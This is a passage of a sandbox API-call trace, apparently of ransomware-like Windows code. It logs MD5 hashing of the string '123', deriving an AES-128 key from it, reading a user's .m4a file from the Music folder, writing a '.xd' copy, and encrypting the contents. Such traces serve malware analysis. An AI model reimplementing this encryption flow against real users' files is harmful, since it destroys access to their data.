lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.377] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.377] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.377] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.377] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.377] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.377] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.377] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.378] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.378] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.378] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.378] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.378] CryptCreateHash (in: hProv=0x17abc38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.378] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.379] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.379] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.379] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.379] CryptHashData (hHash=0x164c9b0, pbData=0x16295a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.379] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.380] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.380] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.380] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.380] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.382] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.384] CryptDeriveKey (in: hProv=0x17abc38, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0064.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.384] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.384] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.384] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.384] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.384] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.385] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0064.385] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.385] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xp2twywapwph.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.385] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.385] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.386] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia")) returned 0x10 [0064.386] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xp2twywapwph.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.387] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.387] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.387] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.387] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.389] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.389] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf5c0, lpOverlapped=0x0) returned 1 [0064.391] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.397] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.397] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.397] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.397] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.397] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.398] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.398] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.398] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.398] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.398] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.398] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.398] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.398] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.398] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.398] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x16296d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.399] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.399] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.399] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.399] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.399] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.399] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.399] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.399] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.400] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.400] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.401] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf5c0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf5d0) returned 1 [0064.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.401] CharLowerBuffW (in: lpsz="byte[62929]", cchLength=0xb | out: lpsz="byte[62929]") returned 0xb [0064.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.402] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.402] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.402] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.403] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.403] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf5c0, dwBufLen=0xf5d0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xf5d0) returned 1 [0064.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.403] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.403] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.403] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.403] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, 